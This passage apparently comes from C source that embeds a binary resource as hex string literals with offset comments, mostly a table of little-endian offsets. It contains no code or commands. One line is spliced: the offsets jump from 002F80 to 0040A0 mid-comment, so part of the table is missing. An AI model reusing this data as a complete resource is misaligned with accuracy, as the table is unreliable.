*/ "\x2B\x24\x06\x00\x6A\x5E\x01\x00\xF7\x4A\x03\x00\x2A\x07\x06\x00" //+$..j^..÷J..*... /* 001BA0 */ "\x11\x19\x06\x00\x03\x36\x05\x00\xA0\x0F\x03\x00\x93\xF1\x05\x00" //.....6.......ñ.. /* 001BC0 */ "\x64\x2C\x00\x00\xA5\x80\x05\x00\xD6\x04\x02\x00\x87\xE2\x01\x00" //d,......Ö....â.. /* 001BE0 */ "\xF0\x37\x05\x00\xAB\x79\x06\x00\xA1\xE5\x02\x00\x04\x7A\x06\x00" //ð7...y...å...z.. /* 001C00 */ "\x67\x98\x02\x00\xA6\x97\x02\x00\xD8\x79\x06\x00\x87\xB2\x01\x00" //g.......Øy...... /* 001C20 */ "\xBF\xB1\x01\x00\xC8\xF4\x05\x00\xC8\xF4\x05\x00\xA3\xF4\x05\x00" //....Èô..Èô...ô.. /* 001C40 */ "\xA3\xF4\x05\x00\xB9\x4A\x03\x00\x5E\xCE\x00\x00\x6E\xCE\x00\x00" //.ô...J..^Î..nÎ.. /* 001C60 */ "\x7E\xCE\x00\x00\x8E\xCE\x00\x00\x9E\xCE\x00\x00\xAE\xCE\x00\x00" //~Î...Î...Î...Î.. /* 001C80 */ "\xBE\xCE\x00\x00\xCE\xCE\x00\x00\xDE\xCE\x00\x00\xEE\xCE\x00\x00" //.Î..ÎÎ..ÞÎ..îÎ.. /* 001CA0 */ "\xFE\xCE\x00\x00\x0E\xCF\x00\x00\x1E\xCF\x00\x00\x2E\xCF\x00\x00" //þÎ...Ï...Ï...Ï.. /* 001CC0 */ "\x3E\xCF\x00\x00\x4E\xCF\x00\x00\x5E\xCF\x00\x00\x6E\xCF\x00\x00" //>Ï..NÏ..^Ï..nÏ.. /* 001CE0 */ "\x7E\xCF\x00\x00\x8E\xCF\x00\x00\x9E\xCF\x00\x00\xAE\xCF\x00\x00" //~Ï...Ï...Ï...Ï.. /* 001D00 */ "\xBE\xCF\x00\x00\xCE\xCF\x00\x00\xDE\xCF\x00\x00\xEE\xCF\x00\x00" //.Ï..ÎÏ..ÞÏ..îÏ.. /* 001D20 */ "\xFE\xCF\x00\x00\x0E\xD0\x00\x00\x1E\xD0\x00\x00\x2E\xD0\x00\x00" //þÏ...Ð...Ð...Ð.. /* 001D40 */ "\x3E\xD0\x00\x00\x4E\xD0\x00\x00\x5E\xD0\x00\x00\x6E\xD0\x00\x00" //>Ð..NÐ..^Ð..nÐ.. /* 001D60 */ "\x7E\xD0\x00\x00\x8E\xD0\x00\x00\x9E\xD0\x00\x00\xAE\xD0\x00\x00" //~Ð...Ð...Ð...Ð.. /* 001D80 */ "\xBE\xD0\x00\x00\xCE\xD0\x00\x00\xDE\xD0\x00\x00\xEE\xD0\x00\x00" //.Ð..ÎÐ..ÞÐ..îÐ.. /* 001DA0 */ "\xCE\xDF\x00\x00\xFE\xD0\x00\x00\x0E\xD1\x00\x00\x1E\xD1\x00\x00" //Îß..þÐ...Ñ...Ñ.. /* 001DC0 */ "\x2E\xD1\x00\x00\x3E\xD1\x00\x00\x4E\xD1\x00\x00\x5E\xD1\x00\x00" //.Ñ..>Ñ..NÑ..^Ñ.. /* 001DE0 */ "\x6E\xD1\x00\x00\x7E\xD1\x00\x00\x8E\xD1\x00\x00\x9E\xD1\x00\x00" //nÑ..~Ñ...Ñ...Ñ.. /* 001E00 */ "\xAE\xD1\x00\x00\xBE\xD1\x00\x00\xCE\xD1\x00\x00\xDE\xD1\x00\x00" //.Ñ...Ñ..ÎÑ..ÞÑ.. /* 001E20 */ "\xEE\xD1\x00\x00\xFE\xD1\x00\x00\x0E\xD2\x00\x00\x1E\xD2\x00\x00" //îÑ..þÑ...Ò...Ò.. /* 001E40 */ "\x2E\xD2\x00\x00\x3E\xD2\x00\x00\x4E\xD2\x00\x00\x5E\xD2\x00\x00" //.Ò..>Ò..NÒ..^Ò.. /* 001E60 */ "\x6E\xD2\x00\x00\x7E\xD2\x00\x00\x8E\xD2\x00\x00\x9E\xD2\x00\x00" //nÒ..~Ò...Ò...Ò.. /* 001E80 */ "\xAE\xD2\x00\x00\xBE\xD2\x00\x00\xCE\xD2\x00\x00\xDE\xD2\x00\x00" //.Ò...Ò..ÎÒ..ÞÒ.. /* 001EA0 */ "\xEE\xD2\x00\x00\xFE\xD2\x00\x00\x0E\xD3\x00\x00\x1E\xD3\x00\x00" //îÒ..þÒ...Ó...Ó.. /* 001EC0 */ "\x2E\xD3\x00\x00\x3E\xD3\x00\x00\x4E\xD3\x00\x00\x5E\xD3\x00\x00" //.Ó..>Ó..NÓ..^Ó.. /* 001EE0 */ "\x6E\xD3\x00\x00\x7E\xD3\x00\x00\x8E\xD3\x00\x00\x9E\xD3\x00\x00" //nÓ..~Ó...Ó...Ó.. /* 001F00 */ "\xAE\xD3\x00\x00\xBE\xD3\x00\x00\xCE\xD3\x00\x00\xDE\xD3\x00\x00" //.Ó...Ó..ÎÓ..ÞÓ.. /* 001F20 */ "\xEE\xD3\x00\x00\xFE\xD3\x00\x00\x0E\xD4\x00\x00\x1E\xD4\x00\x00" //îÓ..þÓ...Ô...Ô.. /* 001F40 */ "\x2E\xD4\x00\x00\x3E\xD4\x00\x00\x4E\xD4\x00\x00\x5E\xD4\x00\x00" //.Ô..>Ô..NÔ..^Ô.. /* 001F60 */ "\x6E\xD4\x00\x00\x8E\xD4\x00\x00\x7E\xD4\x00\x00\x9E\xD4\x00\x00" //nÔ...Ô..~Ô...Ô.. /* 001F80 */ "\xAE\xD4\x00\x00\xBE\xD4\x00\x00\xCE\xD4\x00\x00\xDE\xD4\x00\x00" //.Ô...Ô..ÎÔ..ÞÔ.. /* 001FA0 */ "\xEE\xD4\x00\x00\xFE\xD4\x00\x00\x0E\xD5\x00\x00\x1E\xD5\x00\x00" //îÔ..þÔ...Õ...Õ.. /* 001FC0 */ "\x2E\xD5\x00\x00\x3E\xD5\x00\x00\x4E\xD5\x00\x00\x5E\xD5\x00\x00" //.Õ..>Õ..NÕ..^Õ.. /* 001FE0 */ "\x6E\xD5\x00\x00\x7E\xD5\x00\x00\x8E\xD5\x00\x00\x9E\xD5\x00\x00" //nÕ..~Õ...Õ...Õ.. /* 002000 */ "\xAE\xD5\x00\x00\xBE\xD5\x00\x00\xCE\xD5\x00\x00\xDE\xDF\x00\x00" //.Õ...Õ..ÎÕ..Þß.. /* 002020 */ "\xDE\xD5\x00\x00\xEE\xD5\x00\x00\xFE\xD5\x00\x00\x0E\xD6\x00\x00" //ÞÕ..îÕ..þÕ...Ö.. /* 002040 */ "\x1E\xD6\x00\x00\x2E\xD6\x00\x00\x3E\xD6\x00\x00\x4E\xD6\x00\x00" //.Ö...Ö..>Ö..NÖ.. /* 002060 */ "\x5E\xD6\x00\x00\x6E\xD6\x00\x00\x7E\xD6\x00\x00\x8E\xD6\x00\x00" //^Ö..nÖ..~Ö...Ö.. /* 002080 */ "\x9E\xD6\x00\x00\xAE\xD6\x00\x00\xBE\xD6\x00\x00\xCE\xD6\x00\x00" //.Ö...Ö...Ö..ÎÖ.. /* 0020A0 */ "\xDE\xD6\x00\x00\xEE\xD6\x00\x00\xFE\xD6\x00\x00\x0E\xD7\x00\x00" //ÞÖ..îÖ..þÖ...×.. /* 0020C0 */ "\x1E\xD7\x00\x00\x2E\xD7\x00\x00\x3E\xD7\x00\x00\x4E\xD7\x00\x00" //.×...×..>×..N×.. /* 0020E0 */ "\x5E\xD7\x00\x00\x6E\xD7\x00\x00\x7E\xD7\x00\x00\x8E\xD7\x00\x00" //^×..n×..~×...×.. /* 002100 */ "\x9E\xD7\x00\x00\xAE\xD7\x00\x00\xBE\xD7\x00\x00\xCE\xD7\x00\x00" //.×...×...×..Î×.. /* 002120 */ "\xDE\xD7\x00\x00\xEE\xD7\x00\x00\xFE\xD7\x00\x00\x0E\xD8\x00\x00" //Þ×..î×..þ×...Ø.. /* 002140 */ "\x1E\xD8\x00\x00\x2E\xD8\x00\x00\x3E\xD8\x00\x00\x4E\xD8\x00\x00" //.Ø...Ø..>Ø..NØ.. /* 002160 */ "\x5E\xD8\x00\x00\x6E\xD8\x00\x00\x7E\xD8\x00\x00\x8E\xD8\x00\x00" //^Ø..nØ..~Ø...Ø.. /* 002180 */ "\x9E\xD8\x00\x00\xAE\xD8\x00\x00\x0E\xE0\x00\x00\xBE\xD8\x00\x00" //.Ø...Ø...à...Ø.. /* 0021A0 */ "\xCE\xD8\x00\x00\xDE\xD8\x00\x00\xEE\xD8\x00\x00\xFE\xD8\x00\x00" //ÎØ..ÞØ..îØ..þØ.. /* 0021C0 */ "\x0E\xD9\x00\x00\x1E\xD9\x00\x00\x2E\xD9\x00\x00\x3E\xD9\x00\x00" //.Ù...Ù...Ù..>Ù.. /* 0021E0 */ "\x4E\xD9\x00\x00\x5E\xD9\x00\x00\x6E\xD9\x00\x00\x7E\xD9\x00\x00" //NÙ..^Ù..nÙ..~Ù.. /* 002200 */ "\x8E\xD9\x00\x00\x9E\xD9\x00\x00\xAE\xD9\x00\x00\xBE\xD9\x00\x00" //.Ù...Ù...Ù...Ù.. /* 002220 */ "\xCE\xD9\x00\x00\xDE\xD9\x00\x00\xEE\xD9\x00\x00\xFE\xD9\x00\x00" //ÎÙ..ÞÙ..îÙ..þÙ.. /* 002240 */ "\x0E\xDA\x00\x00\xEE\xDF\x00\x00\x1E\xDA\x00\x00\x2E\xDA\x00\x00" //.Ú..îß...Ú...Ú.. /* 002260 */ "\x3E\xDA\x00\x00\x4E\xDA\x00\x00\x5E\xDA\x00\x00\x6E\xDA\x00\x00" //>Ú..NÚ..^Ú..nÚ.. /* 002280 */ "\x7E\xDA\x00\x00\x8E\xDA\x00\x00\x9E\xDA\x00\x00\xAE\xDA\x00\x00" //~Ú...Ú...Ú...Ú.. /* 0022A0 */ "\xBE\xDA\x00\x00\xCE\xDA\x00\x00\xDE\xDA\x00\x00\xEE\xDA\x00\x00" //.Ú..ÎÚ..ÞÚ..îÚ.. /* 0022C0 */ "\xFE\xDA\x00\x00\x0E\xDB\x00\x00\x1E\xDB\x00\x00\x2E\xDB\x00\x00" //þÚ...Û...Û...Û.. /* 0022E0 */ "\x3E\xDB\x00\x00\x4E\xDB\x00\x00\x5E\xDB\x00\x00\x6E\xDB\x00\x00" //>Û..NÛ..^Û..nÛ.. /* 002300 */ "\x7E\xDB\x00\x00\x8E\xDB\x00\x00\x9E\xDB\x00\x00\xAE\xDB\x00\x00" //~Û...Û...Û...Û.. /* 002320 */ "\xBE\xDB\x00\x00\xCE\xDB\x00\x00\xDE\xDB\x00\x00\xEE\xDB\x00\x00" //.Û..ÎÛ..ÞÛ..îÛ.. /* 002340 */ "\xFE\xDB\x00\x00\x0E\xDC\x00\x00\x1E\xDC\x00\x00\x2E\xDC\x00\x00" //þÛ...Ü...Ü...Ü.. /* 002360 */ "\x3E\xDC\x00\x00\x4E\xDC\x00\x00\x5E\xDC\x00\x00\x6E\xDC\x00\x00" //>Ü..NÜ..^Ü..nÜ.. /* 002380 */ "\x7E\xDC\x00\x00\x8E\xDC\x00\x00\x9E\xDC\x00\x00\xAE\xDC\x00\x00" //~Ü...Ü...Ü...Ü.. /* 0023A0 */ "\xBE\xDC\x00\x00\xCE\xDC\x00\x00\xDE\xDC\x00\x00\xEE\xDC\x00\x00" //.Ü..ÎÜ..ÞÜ..îÜ.. /* 0023C0 */ "\xFE\xDC\x00\x00\x0E\xDD\x00\x00\x1E\xDD\x00\x00\x2E\xDD\x00\x00" //þÜ...Ý...Ý...Ý.. /* 0023E0 */ "\x3E\xDD\x00\x00\x4E\xDD\x00\x00\x5E\xDD\x00\x00\x6E\xDD\x00\x00" //>Ý..NÝ..^Ý..nÝ.. /* 002400 */ "\x7E\xDD\x00\x00\x8E\xDD\x00\x00\x9E\xDD\x00\x00\xAE\xDD\x00\x00" //~Ý...Ý...Ý...Ý.. /* 002420 */ "\xBE\xDD\x00\x00\xCE\xDD\x00\x00\xDE\xDD\x00\x00\xEE\xDD\x00\x00" //.Ý..ÎÝ..ÞÝ..îÝ.. /* 002440 */ "\xFE\xDD\x00\x00\x0E\xDE\x00\x00\x1E\xDE\x00\x00\x2E\xDE\x00\x00" //þÝ...Þ...Þ...Þ.. /* 002460 */ "\x3E\xDE\x00\x00\x4E\xDE\x00\x00\x5E\xDE\x00\x00\x6E\xDE\x00\x00" //>Þ..NÞ..^Þ..nÞ.. /* 002480 */ "\x7E\xDE\x00\x00\x8E\xDE\x00\x00\x9E\xDE\x00\x00\xAE\xDE\x00\x00" //~Þ...Þ...Þ...Þ.. /* 0024A0 */ "\xBE\xDE\x00\x00\xCE\xDE\x00\x00\xDE\xDE\x00\x00\xEE\xDE\x00\x00" //.Þ..ÎÞ..ÞÞ..îÞ.. /* 0024C0 */ "\xFE\xDE\x00\x00\x0E\xDF\x00\x00\x1E\xDF\x00\x00\x2E\xDF\x00\x00" //þÞ...ß...ß...ß.. /* 0024E0 */ "\xFE\xDF\x00\x00\x3E\xDF\x00\x00\x4E\xDF\x00\x00\x5E\xDF\x00\x00" //þß..>ß..Nß..^ß.. /* 002500 */ "\x6E\xDF\x00\x00\x7E\xDF\x00\x00\x8E\xDF\x00\x00\x9E\xDF\x00\x00" //nß..~ß...ß...ß.. /* 002520 */ "\xAE\xDF\x00\x00\xBE\xDF\x00\x00\xE6\xE5\x00\x00\xA2\xE6\x00\x00" //.ß...ß..æå...æ.. /* 002540 */ "\x20\xE0\x00\x00\xD1\x12\x00\x00\x7F\x13\x00\x00\xD2\xC8\x02\x00" //.à..Ñ.......ÒÈ.. /* 002560 */ "\x83\x15\x07\x00\x3D\x15\x07\x00\x2B\x15\x07\x00\x3B\x14\x00\x00" //....=...+...;... /* 002580 */ "\xE5\x14\x00\x00\xC4\x15\x00\x00\xF8\x15\x00\x00\x35\x16\x00\x00" //å...Ä...ø...5... /* 0025A0 */ "\xE9\x16\x00\x00\x08\x17\x00\x00\xC9\x15\x07\x00\x29\x17\x00\x00" //é.......É...)... /* 0025C0 */ "\x91\x17\x00\x00\x26\x18\x00\x00\x9B\x18\x00\x00\xF8\x15\x00\x00" //....&.......ø... /* 0025E0 */ "\x48\xE0\x07\x00\xBA\x18\x00\x00\x45\x17\x07\x00\x67\x18\x07\x00" //Hà......E...g... /* 002600 */ "\x94\xE9\x02\x00\xB1\xDC\x02\x00\xC1\x18\x07\x00\x86\x16\x07\x00" //.é...Ü..Á....... /* 002620 */ "\x9F\x17\x07\x00\xE1\x18\x00\x00\xFA\x18\x07\x00\x0A\x19\x07\x00" //....á...ú....... /* 002640 */ "\xEA\xBB\x01\x00\x68\x19\x07\x00\x64\x2E\x01\x00\x64\x2E\x01\x00" //ê...h...d...d... /* 002660 */ "\xB0\x1A\x07\x00\x9D\x98\x01\x00\xDD\x1A\x07\x00\x0A\x1B\x07\x00" //........Ý....... /* 002680 */ "\x57\x1B\x07\x00\x7D\x17\x07\x00\x9F\x18\x07\x00\xB2\x16\x07\x00" //W...}........... /* 0026A0 */ "\xCB\x17\x07\x00\x97\xFB\x02\x00\x69\x1B\x07\x00\x78\x33\x01\x00" //Ë....û..i...x3.. /* 0026C0 */ "\x69\x48\x02\x00\xED\x81\x01\x00\xDF\x1B\x07\x00\x15\x1C\x07\x00" //iH..í...ß....... /* 0026E0 */ "\x25\x1C\x07\x00\x7A\x68\x03\x00\xC2\x1C\x07\x00\x34\x19\x00\x00" //%...zh..Â...4... /* 002700 */ "\xA9\x48\x02\x00\xB6\x48\x02\x00\xF3\x51\x01\x00\xD7\x19\x00\x00" //.H...H..óQ..×... /* 002720 */ "\xFA\xE5\x00\x00\xD7\x1C\x07\x00\x18\x1B\x00\x00\x50\x14\x07\x00" //úå..×.......P... /* 002740 */ "\x14\x13\x07\x00\xF8\x14\x07\x00\xA9\xC8\x02\x00\xC0\x14\x07\x00" //....ø....È..À... /* 002760 */ "\x7F\x13\x07\x00\x88\x14\x07\x00\x1D\x14\x07\x00\xEA\x13\x07\x00" //............ê... /* 002780 */ "\x4C\x13\x07\x00\x8F\x1D\x07\x00\xF1\x69\x02\x00\x95\x6A\x02\x00" //L.......ñi...j.. /* 0027A0 */ "\xAA\x1D\x07\x00\xDD\x1D\x07\x00\xC2\x1D\x07\x00\xB2\x13\x07\x00" //....Ý...Â....... /* 0027C0 */ "\xC2\x1C\x07\x00\x9E\xE6\x00\x00\x2C\x49\x02\x00\x60\x1C\x00\x00" //Â....æ..,I..`... /* 0027E0 */ "\x07\x1D\x00\x00\xB3\x1D\x00\x00\xF5\x20\x00\x00\x35\x24\x00\x00" //........õ...5$.. /* 002800 */ "\x1B\xE0\x00\x00\xD8\x03\x02\x00\xE5\x12\x00\x00\xC4\x5B\x02\x00" //.à..Ø...å...Ä[.. /* 002820 */ "\x93\x13\x00\x00\xF5\x1D\x07\x00\x9D\x24\x00\x00\x0D\xE8\x00\x00" //....õ....$...è.. /* 002840 */ "\x83\x25\x00\x00\x8D\x24\x00\x00\x08\x26\x00\x00\x45\x26\x00\x00" //.%...$...&..E&.. /* 002860 */ "\xC0\x26\x00\x00\xE5\x27\x00\x00\x1D\x28\x00\x00\x1D\x29\x00\x00" //À&..å'...(...).. /* 002880 */ "\x56\x29\x00\x00\x7D\x29\x00\x00\x7E\xE7\x00\x00\xEA\x1F\x07\x00" //V)..})..~ç..ê... /* 0028A0 */ "\x09\x20\x07\x00\xDB\x84\x01\x00\xCE\x29\x00\x00\x1C\x1B\x07\x00" //....Û...Î)...... /* 0028C0 */ "\x33\x3D\x02\x00\x46\xA8\x02\x00\x28\x20\x07\x00\x24\x03\x02\x00" //3=..F...(...$... /* 0028E0 */ "\x7B\xEA\x01\x00\x3C\x20\x07\x00\x32\x81\x01\x00\x82\x49\x01\x00" //{ê..<...2....I.. /* 002900 */ "\x54\x54\x03\x00\x60\x2F\x01\x00\x1E\x57\x03\x00\x4A\xFE\x00\x00" //TT..`/...W..Jþ.. /* 002920 */ "\x44\x8B\x01\x00\x2B\xE4\x01\x00\x7F\x05\x01\x00\x9A\x20\x07\x00" //D...+ä.......... /* 002940 */ "\x91\x46\x01\x00\xE3\x20\x07\x00\x2F\x38\x02\x00\x23\x9F\x02\x00" //.F..ã.../8..#... /* 002960 */ "\x31\x21\x07\x00\xC1\x4D\x03\x00\x9A\x67\x00\x00\xB3\x67\x00\x00" //1!..ÁM...g...g.. /* 002980 */ "\xCD\x67\x00\x00\xE5\x67\x00\x00\x11\x68\x00\x00\x29\x68\x00\x00" //Íg..åg...h..)h.. /* 0029A0 */ "\x3B\x68\x00\x00\x4F\x68\x00\x00\x68\x68\x00\x00\x7D\x68\x00\x00" //;h..Oh..hh..}h.. /* 0029C0 */ "\x8D\x68\x00\x00\xA8\x68\x00\x00\xB5\x68\x00\x00\xC5\x68\x00\x00" //.h...h...h..Åh.. /* 0029E0 */ "\xD6\x68\x00\x00\xEA\x68\x00\x00\xF8\x68\x00\x00\x01\x69\x00\x00" //Öh..êh..øh...i.. /* 002A00 */ "\x0C\x69\x00\x00\x23\x69\x00\x00\x2D\x69\x00\x00\x46\x69\x00\x00" //.i..#i..-i..Fi.. /* 002A20 */ "\x5D\x69\x00\x00\x6F\x69\x00\x00\x7D\x69\x00\x00\x9E\x69\x00\x00" //]i..oi..}i...i.. /* 002A40 */ "\xB6\x69\x00\x00\xD0\x69\x00\x00\xE8\x69\x00\x00\xFB\x69\x00\x00" //.i..Ði..èi..ûi.. /* 002A60 */ "\x15\x6A\x00\x00\x28\x6A\x00\x00\x3D\x6A\x00\x00\x4F\x6A\x00\x00" //.j..(j..=j..Oj.. /* 002A80 */ "\x60\x6A\x00\x00\x74\x6A\x00\x00\x84\x6A\x00\x00\xA3\x6A\x00\x00" //`j..tj...j...j.. /* 002AA0 */ "\xB7\x6A\x00\x00\xD0\x6A\x00\x00\xEA\x6A\x00\x00\x08\x6B\x00\x00" //.j..Ðj..êj...k.. /* 002AC0 */ "\x1A\x6B\x00\x00\x27\x6B\x00\x00\x44\x6B\x00\x00\x5F\x6B\x00\x00" //.k..'k..Dk.._k.. /* 002AE0 */ "\x7B\x6B\x00\x00\x9A\x6B\x00\x00\xAB\x6B\x00\x00\xC5\x6B\x00\x00" //{k...k...k..Åk.. /* 002B00 */ "\xE2\x6B\x00\x00\xF9\x6B\x00\x00\x14\x6C\x00\x00\x28\x6C\x00\x00" //âk..ùk...l..(l.. /* 002B20 */ "\x3A\x6C\x00\x00\x5B\x6C\x00\x00\x6B\x6C\x00\x00\x7D\x6C\x00\x00" //:l..[l..kl..}l.. /* 002B40 */ "\x94\x6C\x00\x00\xA7\x6C\x00\x00\xC0\x6C\x00\x00\xD3\x6C\x00\x00" //.l...l..Àl..Ól.. /* 002B60 */ "\xF2\x6C\x00\x00\xFD\x6C\x00\x00\x0F\x6D\x00\x00\x29\x6D\x00\x00" //òl..ýl...m..)m.. /* 002B80 */ "\x4B\x6D\x00\x00\x6C\x6D\x00\x00\x92\x6D\x00\x00\xAA\x6D\x00\x00" //Km..lm...m...m.. /* 002BA0 */ "\xBD\x6D\x00\x00\xCF\x6D\x00\x00\xF0\x6D\x00\x00\xFD\x6D\x00\x00" //.m..Ïm..ðm..ým.. /* 002BC0 */ "\x11\x6E\x00\x00\x2F\x6E\x00\x00\x3F\x6E\x00\x00\x50\x6E\x00\x00" //.n../n..?n..Pn.. /* 002BE0 */ "\x64\x6E\x00\x00\x78\x6E\x00\x00\x86\x6E\x00\x00\xA1\x6E\x00\x00" //dn..xn...n...n.. /* 002C00 */ "\xB5\x6E\x00\x00\xD6\x6E\x00\x00\xF4\x6E\x00\x00\x1F\x6F\x00\x00" //.n..Ön..ôn...o.. /* 002C20 */ "\x52\x6F\x00\x00\x5C\x6F\x00\x00\x6B\x6F\x00\x00\x7F\x6F\x00\x00" //Ro..\o..ko...o.. /* 002C40 */ "\x97\x6F\x00\x00\xAB\x6F\x00\x00\xB9\x6F\x00\x00\xD3\x6F\x00\x00" //.o...o...o..Óo.. /* 002C60 */ "\xEF\x6F\x00\x00\xFF\x6F\x00\x00\x17\x70\x00\x00\x2F\x70\x00\x00" //ïo..ÿo...p../p.. /* 002C80 */ "\x4A\x70\x00\x00\x5B\x70\x00\x00\x77\x70\x00\x00\x86\x70\x00\x00" //Jp..[p..wp...p.. /* 002CA0 */ "\x94\x70\x00\x00\xA1\x70\x00\x00\xA9\x70\x00\x00\xC1\x70\x00\x00" //.p...p...p..Áp.. /* 002CC0 */ "\xCF\x70\x00\x00\xDF\x70\x00\x00\xF5\x70\x00\x00\x03\x71\x00\x00" //Ïp..ßp..õp...q.. /* 002CE0 */ "\x11\x71\x00\x00\x1C\x71\x00\x00\x30\x71\x00\x00\x48\x71\x00\x00" //.q...q..0q..Hq.. /* 002D00 */ "\x56\x71\x00\x00\x68\x71\x00\x00\x75\x71\x00\x00\x8A\x71\x00\x00" //Vq..hq..uq...q.. /* 002D20 */ "\x9C\x71\x00\x00\xAB\x71\x00\x00\xB7\x71\x00\x00\xCA\x71\x00\x00" //.q...q...q..Êq.. /* 002D40 */ "\xDF\x71\x00\x00\xEE\x71\x00\x00\x04\x72\x00\x00\x17\x72\x00\x00" //ßq..îq...r...r.. /* 002D60 */ "\x24\x72\x00\x00\x34\x72\x00\x00\x46\x72\x00\x00\x56\x72\x00\x00" //$r..4r..Fr..Vr.. /* 002D80 */ "\x66\x72\x00\x00\x78\x72\x00\x00\x93\x72\x00\x00\xA2\x72\x00\x00" //fr..xr...r...r.. /* 002DA0 */ "\xB0\x72\x00\x00\xBE\x72\x00\x00\xD3\x72\x00\x00\xE0\x72\x00\x00" //.r...r..Ór..àr.. /* 002DC0 */ "\xF5\x72\x00\x00\x05\x73\x00\x00\x16\x73\x00\x00\x23\x73\x00\x00" //õr...s...s..#s.. /* 002DE0 */ "\x35\x73\x00\x00\x42\x73\x00\x00\x4E\x73\x00\x00\x67\x73\x00\x00" //5s..Bs..Ns..gs.. /* 002E00 */ "\x78\x73\x00\x00\x8E\x73\x00\x00\x9E\x73\x00\x00\xB0\x73\x00\x00" //xs...s...s...s.. /* 002E20 */ "\xC1\x73\x00\x00\xD8\x73\x00\x00\xE7\x73\x00\x00\x0C\x74\x00\x00" //Ás..Øs..çs...t.. /* 002E40 */ "\x20\x74\x00\x00\x30\x74\x00\x00\x3E\x74\x00\x00\x49\x74\x00\x00" //.t..0t..>t..It.. /* 002E60 */ "\x5C\x74\x00\x00\x74\x74\x00\x00\x7F\x74\x00\x00\x94\x74\x00\x00" //\t..tt...t...t.. /* 002E80 */ "\xA7\x74\x00\x00\xBF\x74\x00\x00\xD3\x74\x00\x00\xE3\x74\x00\x00" //.t...t..Ót..ãt.. /* 002EA0 */ "\xF6\x74\x00\x00\x0C\x75\x00\x00\x1F\x75\x00\x00\x2F\x75\x00\x00" //öt...u...u../u.. /* 002EC0 */ "\x4B\x75\x00\x00\x65\x75\x00\x00\x79\x75\x00\x00\x8E\x75\x00\x00" //Ku..eu..yu...u.. /* 002EE0 */ "\xA4\x75\x00\x00\xB5\x75\x00\x00\xCF\x75\x00\x00\xDC\x75\x00\x00" //.u...u..Ïu..Üu.. /* 002F00 */ "\xE9\x75\x00\x00\xF3\x75\x00\x00\xFE\x75\x00\x00\x09\x76\x00\x00" //éu..óu..þu...v.. /* 002F20 */ "\x25\x76\x00\x00\x37\x76\x00\x00\x4B\x76\x00\x00\x61\x76\x00\x00" //%v..7v..Kv..av.. /* 002F40 */ "\x77\x76\x00\x00\x8E\x76\x00\x00\xAC\x76\x00\x00\xBF\x76\x00\x00" //wv...v...v...v.. /* 002F60 */ "\xD1\x76\x00\x00\xED\x76\x00\x00\xFF\x76\x00\x00\x1A\x77\x00\x00" //Ñv..ív..ÿv...w.. /* 002F80 */ "\x30\x77\x00\x00\x3C\x77\x00\x00\x4C\x77\x00\x00\x57\x77\x00\x00" //0w.....U...z... /* 0040A0 */ "\xA5\xA6\x00\x00\xC3\xA6\x00\x00\xE7\xA6\x00\x00\x07\xA7\x00\x00" //....Ã...ç....... /* 0040C0 */ "\x26\xA7\x00\x00\x45\xA7\x00\x00\x5C\xA7\x00\x00\x73\xA7\x00\x00" //&...E...\...s... /* 0040E0 */ "\x83\xA7\x00\x00\x9F\xA7\x00\x00\xB6\xA7\x00\x00\xC7\xA7\x00\x00" //............Ç... /* 004100 */ "\xD9\xA7\x00\x00\xE8\xA7\x00\x00\xF2\xA7\x00\x00\xFE\xA7\x00\x00" //Ù...è...ò...þ... /* 004120 */ "\x10\xA8\x00\x00\x24\xA8\x00\x00\x44\xA8\x00\x00\x57\xA8\x00\x00" //....$...D...W... /* 004140 */ "\x68\xA8\x00\x00\x8D\xA8\x00\x00\x9D\xA8\x00\x00\xB9\xA8\x00\x00" //h............... /* 004160 */ "\xD0\xA8\x00\x00\xE2\xA8\x00\x00\xF5\xA8\x00\x00\x03\xA9\x00\x00" //Ð...â...õ....... /* 004180 */ "\x25\xA9\x00\x00\x3D\xA9\x00\x00\x56\xA9\x00\x00\x6C\xA9\x00\x00" //%...=...V...l... /* 0041A0 */ "\x86\xA9\x00\x00\xA0\xA9\x00\x00\xBA\xA9\x00\x00\xD4\xA9\x00\x00" //............Ô... /* 0041C0 */ "\xE8\xA9\x00\x00\x04\xAA\x00\x00\x21\xAA\x00\x00\x2F\xAA\x00\x00" //è.......!.../... /* 0041E0 */ "\x52\xAA\x00\x00\x5D\xAA\x00\x00\x7D\xAA\x00\x00\x9C\xAA\x00\x00" //R...]...}....... /* 004200 */ "\xB5\xAA\x00\x00\xCE\xAA\x00\x00\xEB\xAA\x00\x00\x05\xAB\x00\x00" //....Î...ë....... /* 004220 */ "\x23\xAB\x00\x00\x39\xAB\x00\x00\x4E\xAB\x00\x00\x69\xAB\x00\x00" //#...9...N...i... /* 004240 */ "\x7E\xAB\x00\x00\xAA\xAB\x00\x00\xC1\xAB\x00\x00\xDF\xAB\x00\x00" //~.......Á...ß... /* 004260 */ "\xF7\xAB\x00\x00\x14\xAC\x00\x00\x36\xAC\x00\x00\x4B\xAC\x00\x00" //÷.......6...K... /* 004280 */ "\x62\xAC\x00\x00\x79\xAC\x00\x00\x93\xAC\x00\x00\xAD\xAC\x00\x00" //b...y........... /* 0042A0 */ "\xB9\xAC\x00\x00\xCF\xAC\x00\x00\xE3\xAC\x00\x00\xF7\xAC\x00\x00" //....Ï...ã...÷... /* 0042C0 */ "\x03\xAD\x00\x00\x0C\xAD\x00\x00\x1A\xAD\x00\x00\x2E\xAD\x00\x00" //................ /* 0042E0 */ "\x40\xAD\x00\x00\x58\xAD\x00\x00\x6B\xAD\x00\x00\x81\xAD\x00\x00" //@...X...k....... /* 004300 */ "\x95\xAD\x00\x00\xAE\xAD\x00\x00\xC2\xAD\x00\x00\xDD\xAD\x00\x00" //........Â...Ý... /* 004320 */ "\xF7\xAD\x00\x00\x11\xAE\x00\x00\x25\xAE\x00\x00\x39\xAE\x00\x00" //÷.......%...9... /* 004340 */ "\x50\xAE\x00\x00\x68\xAE\x00\x00\x82\xAE\x00\x00\x97\xAE\x00\x00" //P...h........... /* 004360 */ "\xAC\xAE\x00\x00\xC3\xAE\x00\x00\xDC\xAE\x00\x00\xF7\xAE\x00\x00" //....Ã...Ü...÷... /* 004380 */ "\x08\xAF\x00\x00\x1D\xAF\x00\x00\x39\xAF\x00\x00\x56\xAF\x00\x00" //........9...V... /* 0043A0 */ "\x71\xAF\x00\x00\x8E\xAF\x00\x00\xB1\xAF\x00\x00\xCB\xAF\x00\x00" //q...........Ë... /* 0043C0 */ "\xE5\xAF\x00\x00\x01\xB0\x00\x00\x17\xB0\x00\x00\x2E\xB0\x00\x00" //å............... /* 0043E0 */ "\x48\xB0\x00\x00\x59\xB0\x00\x00\x64\xB0\x00\x00\x7C\xB0\x00\x00" 